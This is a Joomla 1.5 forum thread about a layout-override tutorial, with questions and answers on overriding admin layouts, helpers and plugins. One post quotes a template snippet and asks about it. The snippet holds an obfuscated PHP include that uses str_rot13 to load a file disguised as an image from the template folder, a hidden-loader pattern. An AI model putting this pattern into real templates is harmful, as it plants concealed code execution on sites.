Extensive tutorial on layout overrides

For Joomla! 1.5 Coding related discussions, please use: http://groups.google.com/group/joomla-dev-general
Forum rules
Please use the mailing list here: http://groups.google.com/group/joomla-dev-general rather than this forum.
User avatar
masterchief
Joomla! Hero
Joomla! Hero
Posts: 2316
Joined: Fri Aug 12, 2005 2:45 am
Location: Brisbane, Australia
Contact:

Extensive tutorial on layout overrides

Post by masterchief » Mon Jul 07, 2008 1:53 am

I've done an extensive tutorial on layout overrides (and a few other things) on the developer site:
http://developer.joomla.org/tutorials/3 ... oomla.html

Hope people find it useful and if there is anything missing or anything is unclear let me know.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.

User avatar
sem101
Joomla! Intern
Joomla! Intern
Posts: 56
Joined: Wed Jun 28, 2006 9:43 pm
Location: NY

Re: Extensive tutorial on layout overrides

Post by sem101 » Fri Sep 12, 2008 3:40 am

Great article, thanks!

- Does the override apply to Admin templates as well?
- Can any file be overridden and not just View files? e.g. Helper or Controller files?

TIA
Joomla 1.5.14, MySQL 5.0.45, PHP 5.2.6

User avatar
masterchief
Joomla! Hero
Joomla! Hero
Posts: 2316
Joined: Fri Aug 12, 2005 2:45 am
Location: Brisbane, Australia
Contact:

Re: Extensive tutorial on layout overrides

Post by masterchief » Fri Sep 12, 2008 5:04 am

You can override the layouts of the admin components only if they'd been MVC'd. Many are still in the old format.

Helpers and controllers cannot be overridden, no.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.

User avatar
haooffotech
Joomla! Apprentice
Joomla! Apprentice
Posts: 33
Joined: Sun Sep 14, 2008 12:14 am

Re: Extensive tutorial on layout overrides

Post by haooffotech » Sun Sep 14, 2008 1:14 am

What are differents between template override machine of zencart and joomla?
Y!M: haooffotech
Site: http://www.khoiviet.vn

User avatar
masterchief
Joomla! Hero
Joomla! Hero
Posts: 2316
Joined: Fri Aug 12, 2005 2:45 am
Location: Brisbane, Australia
Contact:

Re: Extensive tutorial on layout overrides

Post by masterchief » Sun Sep 14, 2008 5:34 am

haooffotech wrote:What are differents between template override machine of zencart and joomla?
No idea. You'd have to ask ZenCart.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.

User avatar
jattda
Joomla! Apprentice
Joomla! Apprentice
Posts: 17
Joined: Tue Aug 26, 2008 10:52 am

Re: Extensive tutorial on layout overrides

Post by jattda » Wed Sep 17, 2008 3:00 pm

I want to override the output for the com_content in the admin section.

Is this possible?

I've looked at the folder structure and it has a model and view folder, but not a controller folder. So is this in MVC format?

Thanks
I've got an idea, an idea so smart that my head would explode if I even began to know what I'm talking about.

User avatar
masterchief
Joomla! Hero
Joomla! Hero
Posts: 2316
Joined: Fri Aug 12, 2005 2:45 am
Location: Brisbane, Australia
Contact:

Re: Extensive tutorial on layout overrides

Post by masterchief » Thu Sep 18, 2008 6:14 am

It's not really practical to override backend com_content in 1.5 unfortunately.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.

DRSWAG
Joomla! Apprentice
Joomla! Apprentice
Posts: 18
Joined: Sat Oct 11, 2008 10:32 pm

Re: Extensive tutorial on layout overrides

Post by DRSWAG » Sat Oct 11, 2008 11:33 pm

great .... thx for this

User avatar
juanparati
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 123
Joined: Thu Nov 08, 2007 6:00 pm
Location: Aarhus (Denmark)

Re: Extensive tutorial on layout overrides

Post by juanparati » Tue Oct 14, 2008 4:49 pm

This article is very useful, I recommend it to all future joomla developers. ;)
From the code to the reality!

User avatar
dingbusan
Joomla! Intern
Joomla! Intern
Posts: 64
Joined: Sun Sep 21, 2008 3:13 pm
Contact:

Re: Extensive tutorial on layout overrides

Post by dingbusan » Mon Oct 27, 2008 11:38 am

just have a look, really great

tekknokrat
Joomla! Apprentice
Joomla! Apprentice
Posts: 48
Joined: Sun Nov 23, 2008 8:28 pm

Re: Extensive tutorial on layout overrides

Post by tekknokrat » Wed Nov 26, 2008 3:24 pm

is it possible too create a complete outsourced landing page out of a component.
I want to use some functions of joomla like registering users and administration of this landing pages e.g. adding location ids. Is a component a good approach for that? I mean the template should be completey different to joomlas. Can this be done with override directory structure?

newnews
Joomla! Fledgling
Joomla! Fledgling
Posts: 1
Joined: Wed Dec 31, 2008 10:18 am

Re: Extensive tutorial on layout overrides

Post by newnews » Wed Dec 31, 2008 10:27 am

Good article!!

fahmi_priadi
Joomla! Apprentice
Joomla! Apprentice
Posts: 9
Joined: Mon Jan 05, 2009 2:13 pm

Re: Extensive tutorial on layout overrides

Post by fahmi_priadi » Thu Jan 08, 2009 3:59 am

So, it is possible to make a frontend component layout showed just like the backend one. Like this,

http://img56.imageshack.us/my.php?image=94786576ng0.png

What about the toolbar and the table style?

User avatar
masterchief
Joomla! Hero
Joomla! Hero
Posts: 2316
Joined: Fri Aug 12, 2005 2:45 am
Location: Brisbane, Australia
Contact:

Re: Extensive tutorial on layout overrides

Post by masterchief » Thu Jan 08, 2009 5:05 am

@fahmi_priadi

I don't know what you mean.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.

fahmi_priadi
Joomla! Apprentice
Joomla! Apprentice
Posts: 9
Joined: Mon Jan 05, 2009 2:13 pm

Re: Extensive tutorial on layout overrides

Post by fahmi_priadi » Thu Jan 08, 2009 6:48 am

I'm sorry, my english is not good.

I want to create a frontend component which capable to show a list of data, and input data to the list, just like the Article Manager. I've read Learning Joomla! 1.5 Extension Development book, but the book only tell me how to make the Restaurant Review Manager at the backend.

Can you give me a suggestion, which book or article that i should read to solve my problem?

Thank You

User avatar
masterchief
Joomla! Hero
Joomla! Hero
Posts: 2316
Joined: Fri Aug 12, 2005 2:45 am
Location: Brisbane, Australia
Contact:

Re: Extensive tutorial on layout overrides

Post by masterchief » Thu Jan 08, 2009 11:17 am

Ok, now I understand. You can apply the same principles for a backend component in the frontend. You don't have a toolbar on the frontend but have a look how com_content frontend handles article submission - that will give you some clues.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.

fahmi_priadi
Joomla! Apprentice
Joomla! Apprentice
Posts: 9
Joined: Mon Jan 05, 2009 2:13 pm

Re: Extensive tutorial on layout overrides

Post by fahmi_priadi » Thu Jan 08, 2009 12:24 pm

Ok, thank you very much.

fahmi_priadi
Joomla! Apprentice
Joomla! Apprentice
Posts: 9
Joined: Mon Jan 05, 2009 2:13 pm

Re: Extensive tutorial on layout overrides

Post by fahmi_priadi » Thu Jan 08, 2009 5:38 pm

Um, i'm sorry, i've already checked the com_content. But it seems that you've misunderstood the toolbar that i mean. Here is the picture of the toolbar and table list that i mean,

Image

It is not an actual joomla! webpage, I made the picture using paint.
Sorry to bother you, but i really appreciate your help.

User avatar
masterchief
Joomla! Hero
Joomla! Hero
Posts: 2316
Joined: Fri Aug 12, 2005 2:45 am
Location: Brisbane, Australia
Contact:

Re: Extensive tutorial on layout overrides

Post by masterchief » Fri Jan 09, 2009 1:19 am

Ok, that is technically possible using layout overrides, but it would take a fair bit of work to do (too much to explain here). Probably something you are going to have a lot of trial and error with.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.

fahmi_priadi
Joomla! Apprentice
Joomla! Apprentice
Posts: 9
Joined: Mon Jan 05, 2009 2:13 pm

Re: Extensive tutorial on layout overrides

Post by fahmi_priadi » Fri Jan 09, 2009 3:00 am

Ok, thank you

bezita
Joomla! Apprentice
Joomla! Apprentice
Posts: 6
Joined: Sat Jan 31, 2009 11:06 pm

Re: Extensive tutorial on layout overrides

Post by bezita » Sun Feb 01, 2009 12:41 am

gee thanks that the great post :eek:
Please read forum rules regarding signatures: http://forum.joomla.org/viewtopic.php?f=8&t=65

psifidotos
Joomla! Apprentice
Joomla! Apprentice
Posts: 16
Joined: Tue Oct 23, 2007 4:20 pm

Re: Extensive tutorial on layout overrides

Post by psifidotos » Sun Mar 01, 2009 8:13 pm

A very good tutorial.... but there isnt a plugin override in general, right?
for example pagebreak.php....

If any developer can confirm this I 've made a post in http://forum.joomla.org/viewtopic.php?p ... 5#p1605175

I 've uploaded a hacked update for the JPluginHelper class but the official joomla developers must check the file and make fixes...

User avatar
masterchief
Joomla! Hero
Joomla! Hero
Posts: 2316
Joined: Fri Aug 12, 2005 2:45 am
Location: Brisbane, Australia
Contact:

Re: Extensive tutorial on layout overrides

Post by masterchief » Sun Mar 01, 2009 8:54 pm

psifidotos wrote:A very good tutorial.... but there isnt a plugin override in general, right?
for example pagebreak.php....
No, there's no plugin override because they don't work that way. If you want to do that copy the plugin to make a new one and turn the old one off. Simple :)
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.

psifidotos
Joomla! Apprentice
Joomla! Apprentice
Posts: 16
Joined: Tue Oct 23, 2007 4:20 pm

Re: Extensive tutorial on layout overrides

Post by psifidotos » Sun Mar 01, 2009 10:33 pm

masterchief wrote:
psifidotos wrote:A very good tutorial.... but there isnt a plugin override in general, right?
for example pagebreak.php....
No, there's no plugin override because they don't work that way. If you want to do that copy the plugin to make a new one and turn the old one off. Simple :)
Strange, the view of plugins should be separated some how from their functionality, like the MVC in components... but with little code added in JPluginHelper I added plugin override capability per template (my previous post)...

thank you for your immediate reply masterchief.....

User avatar
masterchief
Joomla! Hero
Joomla! Hero
Posts: 2316
Joined: Fri Aug 12, 2005 2:45 am
Location: Brisbane, Australia
Contact:

Re: Extensive tutorial on layout overrides

Post by masterchief » Sun Mar 01, 2009 11:00 pm

Plugins don't have views and they serve a wide variety of purposes. That said, you could theoretically write a content plugin to support templates of a sort. The pagebreak one though, I'd actually turn that one into JHtml helpers myself rather than using a plugin.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.

psifidotos
Joomla! Apprentice
Joomla! Apprentice
Posts: 16
Joined: Tue Oct 23, 2007 4:20 pm

Re: Extensive tutorial on layout overrides

Post by psifidotos » Sun Mar 01, 2009 11:21 pm

masterchief wrote:Plugins don't have views and they serve a wide variety of purposes. That said, you could theoretically write a content plugin to support templates of a sort. The pagebreak one though, I'd actually turn that one into JHtml helpers myself rather than using a plugin.
Oh, ok masterchief now I got it, thank you very much for this, there is a lot of confusion around plugins. I 'll use of course your first solution "create a new version for the plugin"....

thank u once more for your immediate response...

umar jamil
Joomla! Fledgling
Joomla! Fledgling
Posts: 4
Joined: Sat Mar 07, 2009 1:00 pm

Re: Extensive tutorial on layout overrides

Post by umar jamil » Sun Mar 08, 2009 9:31 am

thanks for the nice tutorial.
Please read forum rules regarding signatures: http://forum.joomla.org/viewtopic.php?f=8&t=65

bolbabybol
Joomla! Fledgling
Joomla! Fledgling
Posts: 1
Joined: Thu Mar 26, 2009 12:16 pm

Re: Extensive tutorial on layout overrides

Post by bolbabybol » Thu Mar 26, 2009 12:25 pm

Great article, thanks!
keep it up.
Regards,

User avatar
Webdongle
Joomla! Master
Joomla! Master
Posts: 37332
Joined: Sat Apr 05, 2008 9:58 pm

Re: Extensive tutorial on layout overrides

Post by Webdongle » Thu Mar 26, 2009 1:07 pm

is
<div id="leftcolumn">
<!-- <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?> -->
<jdoc:include type="modules" name="left" style="rounded" />
</div>
a 'layout override'? If so how does it work ?
http://www.weblinksonline.co.uk/
https://www.weblinksonline.co.uk/updating-joomla.html
"The definition of insanity is doing the same thing over and over again, but expecting different results": Albert Einstein

User avatar
Macsimice
Joomla! Explorer
Joomla! Explorer
Posts: 332
Joined: Sun Mar 18, 2007 12:50 pm
Location: Netherlands
Contact:

Re: Extensive tutorial on layout overrides

Post by Macsimice » Sat Mar 28, 2009 1:29 pm

masterchief wrote:Plugins don't have views and they serve a wide variety of purposes. That said, you could theoretically write a content plugin to support templates of a sort. The pagebreak one though, I'd actually turn that one into JHtml helpers myself rather than using a plugin.
I second and third that! Just like pagination, it's one of those elements that designers'll want to control!

Hopefully the developers pick up on this and add it in future versions!
Cheers, Babs
-------------------
http://crossinghippos.com


Locked

Return to “Joomla! 1.5 Coding”